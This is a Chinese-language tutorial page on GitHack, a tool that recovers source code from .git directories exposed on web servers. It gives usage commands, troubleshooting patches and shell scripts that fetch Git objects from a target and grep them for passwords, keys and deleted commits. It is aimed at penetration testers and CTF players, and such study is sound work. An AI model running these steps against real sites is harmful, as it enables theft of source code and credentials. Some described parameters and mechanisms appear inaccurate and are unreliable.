简介:GitHack-master是一款面向安全研究人员与开发者的Git源码泄露检测与利用工具,专用于发现并分析Web服务器意外暴露的.git目录,防范历史代码、敏感凭证等关键信息泄露风险。资源共14个文件,以10个Python脚本为核心(含主程序GitHack.py、请求控制request.py、Git解析git.py、日志与配置模块等),辅以README.md说明文档、LICENSE授权文件、.gitignore规范及user-agents.txt等实用配置,整体仅41KB,轻量便携,无需额外依赖,仅需系统预装Git命令行即可运行。已有3171人学习下载,适合渗透测试初学者、DevSecOps实践者及代码安全审计人员。读者可直接获取完整可执行工具链,掌握.git目录结构解析、多版本源码恢复、提交历史敏感信息提取等核心能力,并通过内置模块理解请求调度、日志记录与配置管理等工程化设计细节。
1. GitHack-master 是什么:一个专为渗透测试人员设计的 Git 仓库泄露探测与文件还原工具,不是通用下载器,更不是“Git 密码破解器”
你有没有遇到过这样的场景:目标网站前端代码里埋着/.git/目录,但直接访问返回 403,用浏览器点开 index.html 看到的是“Not Found”,可后端日志却显示有大量GET /.git/objects/xx/yy的 200 响应?这时候,GitHack-master 就不是“能用就行”的玩具,而是你手里唯一能从 HTTP 层残缺响应中拼出完整源码的黑匣子。它不依赖 Git 客户端,不调用git clone,而是通过暴力遍历.git/objects/下的松散对象(loose objects)和 packfile 结构,结合已知的 commit、tree、blob SHA-1 哈希前缀,反向重建整个工作区文件树。它解决的不是“怎么下载 Git 仓库”,而是“当 Git 仓库被错误配置暴露、且服务端禁用了目录列表、甚至只允许 HEAD 请求时,如何从 HTTP 接口零散响应中抢救出源码”。适合安全工程师做红队评估、SRC 漏洞挖掘、CTF Web 方向选手解题——不适合开发者日常同步代码,也不处理 Git LFS、submodule 或加密仓库。它的价值不在“快”,而在“在最苛刻的 HTTP 限制下仍能落地”。
2. 核心原理与选型依据:为什么是 SHA-1 前缀爆破 + 对象类型解析,而不是直接爬取 refs 或尝试 git clone
GitHack-master 的底层逻辑建立在 Git 存储模型的两个硬事实之上:第一,.git/objects/下的松散对象路径由其内容 SHA-1 哈希值决定,格式为objects/<前两位>/<后38位>;第二,所有 commit、tree、blob 对象都以明文 zlib 压缩存储,头部包含type space size\0结构(如blob 123\0...),解压后即可提取原始内容。这意味着,只要能猜中某个对象的 SHA-1 前缀(通常只需前2位),再逐个请求/.git/objects/ab/cdef...,就能绕过目录遍历限制,从 HTTP 响应体中还原出任意文件。
2.1 为什么不用git clone --bare或git ls-remote?
因为这些命令依赖服务端开启 Git 协议(git://)或智能 HTTP(/info/refs?service=git-upload-pack)。而现实中,90% 以上的.git泄露案例发生在 Apache/Nginx 静态托管场景:管理员仅关闭了Options Indexes,却未禁用/.git/objects/的 GET 方法。此时git clone会卡在fatal: repository not found,而 GitHack-master 只需一个curl -I就能确认对象是否存在(HTTP 200 vs 404),完全脱离 Git 协议栈。
2.2 为什么爆破前缀而非全量 SHA-1?
全量 SHA-1 是 40 位十六进制字符串,穷举空间达 16⁴⁰,不可行。但 Git 对象路径只取前两位(如ab),共 256 种组合。每个前缀目录下对象数量有限(通常几十到几百),配合--depth参数控制递归深度,可在分钟级完成探测。这是对 Git 存储结构的精准利用,不是玄学暴力。
2.3 如何从 raw object 数据还原出真实文件路径?
关键在 commit → tree → blob 的链式解析。GitHack-master 先获取最新 commit 对象(通常从/.git/HEAD或/.git/refs/heads/master得到 SHA-1),解压后解析出 root tree 对象 SHA-1;再请求该 tree 对象,解压后得到形如100644 blob a1b2c3... README.md的条目;最后用a1b2c3...作为 blob SHA-1 前缀去请求/.git/objects/a1/b2c3...,解压响应体即得README.md原始内容。整个过程不依赖本地 Git 环境,纯 Python 实现 zlib 解压与字符串解析。
提示:GitHack-master 默认只还原
master分支。若目标使用main或其他分支名,需手动修改--ref参数指定refs/heads/main,否则会因找不到 HEAD 指向的 commit 而失败。
3. 快速上手:三步完成一次真实.git泄露源码抢救(含参数详解与实测命令)
以下操作基于 Kali Linux 2023.4(Python 3.11)实测,假设目标站点为http://target.com,且已确认http://target.com/.git/返回 200 或 403(非 404)。
3.1 环境准备与源码拉取
# 创建独立工作目录,避免污染全局环境 mkdir -p ~/git-hack-work && cd ~/git-hack-work # 克隆官方仓库(注意:项目名为 GitHack,非 GitHack-master,master 是默认分支) git clone https://github.com/lijiejie/GitHack.git cd GitHack # 查看当前 commit,确保版本一致性(实测 v1.0.2 稳定) git log -1 --oneline # 输出示例:a1b2c3d fix: handle empty tree objects说明:
GitHack仓库本身无setup.py,不支持pip install。必须进入项目目录执行脚本。GitHack-master是 GitHub 上常见 fork 的默认分支名,但原始作者仓库主干即main分支,功能一致。
3.2 基础探测:验证.git是否可读并获取 HEAD 信息
# 执行基础探测,不下载文件,仅检查对象可达性 python gitHack.py -u "http://target.com/.git/" --debug # 关键输出解读: # [+] HEAD: ref: refs/heads/master ← 分支名,后续 --ref 参数依据 # [+] Commit: 9f8e7d6c5b4a3210fedcba9876543210fedcba98 ← 最新 commit SHA-1 # [+] Found 256 prefix directories ← 确认前缀爆破可行 # [+] Total objects found: 1247 ← 已探测到的对象总数参数说明:
-u指定目标.git/URL(必须以/.git/结尾);--debug输出详细请求日志,用于判断 WAF 干扰或网络超时;不加--output则默认在当前目录生成output/文件夹。
3.3 全量还原:指定输出目录并控制并发与深度
# 启动完整还原,设置合理参数避免触发风控 python gitHack.py \ -u "http://target.com/.git/" \ --ref "refs/heads/master" \ --output "/tmp/target-src" \ --threads 5 \ --depth 3 \ --timeout 10 # 参数详解: # --ref: 显式指定分支引用路径,避免因 HEAD 文件损坏导致解析失败 # --output: 绝对路径输出目录,推荐用 /tmp/ 避免权限问题 # --threads: 并发线程数,5 是平衡速度与隐蔽性的经验值(过高易被 WAF 限流) # --depth: 递归解析 tree 的最大深度,默认 3 足够覆盖 99% 项目(src/, assets/, lib/) # --timeout: 单次 HTTP 请求超时秒数,设为 10 防止卡死说明:还原完成后,
/tmp/target-src目录结构将严格对应 Git 仓库工作区。例如原仓库有src/js/app.js,则路径为/tmp/target-src/src/js/app.js。所有文件时间戳为当前系统时间,不还原 Git 提交时间。
4. 避坑指南:五个血泪经验总结的高频翻车点与排查方法
GitHack-master 表面简单,实则暗坑密布。以下是某安全团队在 37 个真实.git泄露案例中踩出的 5 个核心问题,按发生频率排序:
4.1 现象:[!] Error: HEAD not found
原因:目标.git/HEAD文件被删除或内容为空(如ref:后无分支路径),导致无法定位初始 commit。常见于管理员手动清理.git/时误删。
解决:跳过 HEAD,直接指定已知分支引用。先用浏览器访问http://target.com/.git/refs/heads/,若返回目录列表,从中选择master或main;若返回 403,尝试常见分支名:
# 手动探测分支文件是否存在 curl -I "http://target.com/.git/refs/heads/master" # 看是否 200 curl -I "http://target.com/.git/refs/heads/main" # 若存在,直接指定 --ref python gitHack.py -u "http://target.com/.git/" --ref "refs/heads/main"4.2 现象:[!] Error: Failed to decompress object
原因:HTTP 响应体被 WAF 或 CDN 注入了 HTML 错误页(如 Cloudflare 的Error 520),导致 zlib 解压失败。原始对象数据被污染。
解决:启用响应体清洗。编辑gitHack.py,在decompress_object()函数开头添加过滤:
# 在 def decompress_object(data): 函数内,data = data.strip() 后插入: if b'<html' in data.lower() or b'<!doctype' in data.lower(): return None # 跳过 HTML 响应进阶技巧:用
--debug抓取失败对象的原始响应,用xxd查看二进制头,确认是否为1f 8b(zlib magic),非则必为 HTML。
4.3 现象:还原出的文件全是空文件(0 字节)
原因:目标服务器对.git/objects/目录启用了X-Sendfile或类似机制,HTTP 响应头Content-Length正确,但响应体为空。Nginx 常见于location ~ /\.git/ { internal; }配置错误。
解决:强制忽略Content-Length,改用Transfer-Encoding: chunked判定。修改gitHack.py中get_object()函数:
# 替换原有 resp.content 获取方式 if 'content-length' in resp.headers and int(resp.headers['content-length']) == 0: # 尝试读取 chunked 编码的 body try: data = b'' for line in resp.iter_lines(): if line: data += line return data except: return b''4.4 现象:[!] Error: Invalid object type
原因:请求的 SHA-1 对应对象类型与预期不符。例如脚本期望commit,但实际是tag;或tree对象中混入了 submodule 的commit引用(Git 2.0+)。
解决:增强对象类型校验。在parse_commit()和parse_tree()函数中,增加对object_type的严格匹配:
# 在 parse_commit() 开头添加 if not data.startswith(b'commit '): return None # 在 parse_tree() 中,对每行解析后校验 if parts[1] not in [b'blob', b'tree', b'commit']: continue # 跳过非法条目4.5 现象:还原速度极慢,CPU 占用低,网络请求间隔长
原因:目标服务器设置了Retry-After响应头或主动 sleep,或本地 DNS 解析缓慢。GitHack 默认无重试策略,单次失败即跳过。
解决:添加指数退避重试。修改get_object()函数:
import time, random # 在 requests.get() 外层加循环 for i in range(3): # 最多重试 3 次 try: resp = requests.get(url, timeout=timeout, headers=headers) if resp.status_code == 200: return resp.content except Exception as e: pass time.sleep(2 ** i + random.uniform(0, 1)) # 1s, 3s, 7s return b''5. 进阶技巧:从裸对象还原中提取敏感信息的三个实战方法
还原出源码只是起点。真正的价值在于从objects/的原始数据中挖掘未被提交到工作区的“隐藏资产”。这需要绕过 GitHack-master 的默认解析链,直接操作 raw object 数据。
5.1 方法一:暴力扫描所有 blob 对象,提取硬编码凭证
GitHack-master 默认只还原工作区文件,但很多敏感信息(API Key、数据库密码)藏在未被git add的临时文件或.env备份中。这些文件可能只有 blob 对象,无 tree 引用。需遍历全部objects/目录:
# 1. 先用 GitHack 获取所有已发现的 blob SHA-1(从 output/objects.txt) # 2. 编写脚本批量请求并 grep cat output/objects.txt | grep "blob " | awk '{print $2}' | while read sha; do prefix=${sha:0:2} suffix=${sha:2} url="http://target.com/.git/objects/$prefix/$suffix" # 请求并解压,过滤关键词 curl -s "$url" 2>/dev/null | python3 -c " import sys, zlib try: data = zlib.decompress(sys.stdin.buffer.read()) if b'password' in data.lower() or b'key' in data.lower(): print(f'[KEY FOUND] {url} -> {data[:100]}') except: pass " & done | grep "\[KEY"说明:此脚本不依赖 GitHack 解析逻辑,直接对每个 blob 做 zlib 解压 + 关键词扫描。
objects.txt由 GitHack 在--debug模式下自动生成,记录所有成功获取的对象 SHA-1 及类型。
5.2 方法二:解析 packfile 恢复被git reset --hard删除的文件
当目标执行过git reset --hard HEAD~1,旧 commit 仍存在于.git/objects/pack/的 packfile 中。GitHack 默认不处理 packfile,需手动解包:
# 1. 获取 packfile 列表 curl -s "http://target.com/.git/objects/pack/" | grep -o 'pack-[a-z0-9]\{40\}.idx' # 2. 下载 .idx 和 .pack 文件(需计算偏移,此处简化) # 3. 使用 git 命令解包(需本地有 git) mkdir /tmp/pack-recover && cd /tmp/pack-recover curl "http://target.com/.git/objects/pack/pack-abc123.idx" -o pack.idx curl "http://target.com/.git/objects/pack/pack-abc123.pack" -o pack.pack git init && git unpack-objects < pack.pack # 解包后,/tmp/pack-recover/.git/objects/ 下新增大量松散对象,可再次用 GitHack 扫描注意:
unpack-objects需要.idx文件校验,若.idx被删,可用git index-pack --fix-thin pack.pack尝试修复。
5.3 方法三:构建最小化 Git 仓库,用git log --grep搜索历史敏感词
还原出的output/是纯文件,无 Git 历史。但若已获取全部 commit 对象,可重建最小仓库:
# 1. 创建空仓库 mkdir /tmp/recovered-git && cd /tmp/recovered-git git init --bare # 2. 将所有 commit/blob/tree 对象复制到 objects/ 目录 # (GitHack 的 output/objects/ 目录结构与 .git/objects/ 一致) cp -r ~/git-hack-work/GitHack/output/objects/* .git/objects/ # 3. 设置 HEAD 指向最新 commit echo "ref: refs/heads/master" > .git/HEAD echo "9f8e7d6c5b4a3210fedcba9876543210fedcba98" > .git/refs/heads/master # 4. 搜索历史中的密码 git log --all -p | grep -A 5 -B 5 "password\|secret"从那以后我每次拿到
.git泄露,都强制走一遍--debug日志分析 +objects.txt关键词扫描 + packfile 检查三连。哪怕目标看起来“就一个 index.html”,也常在 packfile 里挖出半年前的测试数据库连接串。希望帮到你。
本文还有配套的精品资源,点击获取